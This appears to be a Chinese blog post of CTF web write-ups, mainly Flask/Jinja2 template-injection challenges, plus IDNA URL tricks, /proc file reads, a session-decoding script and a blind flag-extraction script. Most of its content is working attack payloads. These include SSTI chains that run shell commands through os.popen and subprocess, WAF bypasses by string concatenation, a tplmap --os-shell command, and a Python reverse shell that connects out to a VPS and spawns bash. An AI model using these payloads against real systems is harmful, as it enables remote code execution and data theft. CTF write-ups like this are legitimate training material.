[SUCTF 2019]Pythonginx

blackhat的议题,大意是IDNA在解析url过程中会对特殊字符产生意想不到的操作(doge),放个链接解释
写个python脚本fuzz一下

def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass

最后读一下配置文件,从中找出flag的位置

url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf

[WesternCTF2018]shrine

由源码可知,flag在环境变量里。
config,sef关键字被禁用,用{{url_for.__globals__}}查看,发现current.app
再用{{url_for.__globals__[\'current_app\'].config}}查看详细信息。
再利用flask中的get_flashed_messages

get_flashed_messages() 方法: 返回之前在Flask中通过 flash () 传入的闪现信息列表。 把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages () 方法取出 (闪现信息只能取出一次,取出后闪现信息会被清空)。

最后payload:

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

[GYCTF2020]FlaskApp

报错时能看到一部分源码

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

直接ssti发现有过滤,尝试读一波源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

找到waf函数部分

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

对于字符串的过滤可以用拼接绕过

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[CSCCTF 2019 Qual]FlaskLight

简单的ssti注入,这里多放几个payload:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[网鼎杯 2020 白虎组]PicDown

存在任意文件读取,这里用proc查看相关信息:

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
/proc/self/cmdline  当前进程的完整命令
/proc/self/cwd      获取目标指定进程环境的运行目录
/proc/self/exe      获得指定进程的可执行文件的完整路径
/proc/self/eviron   取指定进程的环境变量信息
/proc/self/fd       包含着当前进程打开的每一个文件的描述符

查看/proc/self/cmdline发现app.py,
没有密钥,通过爆破fd后的pid来搜索文件。
最后的payload:

/no_one_know_the_manager?key=9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=&sehll=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

在vps上监听端口即可。

[RootersCTF2019]I_<3_Flask

Arjun爆一波参数先,然后直接用tplmap跑就完了。

python2 tplmap.py -u 'url/?name=1' --os-shell

[CISCN2019 华东南赛区]Double Secret

报错带出源码,传进去的字符串要经过RC4解密,写个对应的RC4加密即可:
payload:

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

[DDCTF 2019]homebrew event loop

挺有意思的逻辑漏洞
买入和扣钱不是在同一个函数中,调用函数入队和调用函数执行也不在一个函数中,于是就可以多次用trigger_event调用自己实现多次调用buy_handler函数,并把扣钱的操作留到最后。

payload:
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

这时的flag已经在session中了。接下来用p师傅的脚本进行解密即可

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

PyCalX 1&2

源码中的问题:

1.op中只检查了第一个字符,意味着第二个是没有限制的。
2.除表达式中的三个变量之外,source也是可控的。
3.value1,,value2最后是使用repr处理的,repr相当于php中的双引号,是可以进行解析的。

所以这个题就可以采用类似盲注的方法把FLAG中的内容跑出来。
2中将op中的字符全部检查了,无法用单引号进行闭合,但可以利用python3.6的新特性f-string,简言之就是可以在字符串中方便地直接插入表达式,以f 开头,表达式插在大括号{} 里,在运行时表达式会被计算并替换成对应的值。

payload:
import requests
import time

url = 'http://e06e24de-4615-4d33-b982-ee1ca90bfee5.node3.buuoj.cn/cgi-bin/pycalx.py'
flag = 'flag{'
while True:
    high = 127
    low = 1
    mid = (high + low) // 2
    while high > low:
        tmp = flag + chr(mid)
        data = {
            'value1': 'a',
            'op': '+\'',
            'value2': 'and FLAG>source#',
            'source': tmp
        }
        data2 = {
            'value1': 'Tru',
            'op': '+f',
            'value2': '{101 if FLAG>source else 102:c}',
            'source': tmp
        }
        r = requests.get(url, data)
        print(chr(mid), end="")
        if r.status_code == 200:
            if 'True' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (high + low) // 2
        else:
            time.sleep(1)
    flag += chr(mid-1)
    print(" | flag="+flag)
    if "}" in flag:
        break
print("flag="+flag)

标签: none

添加新评论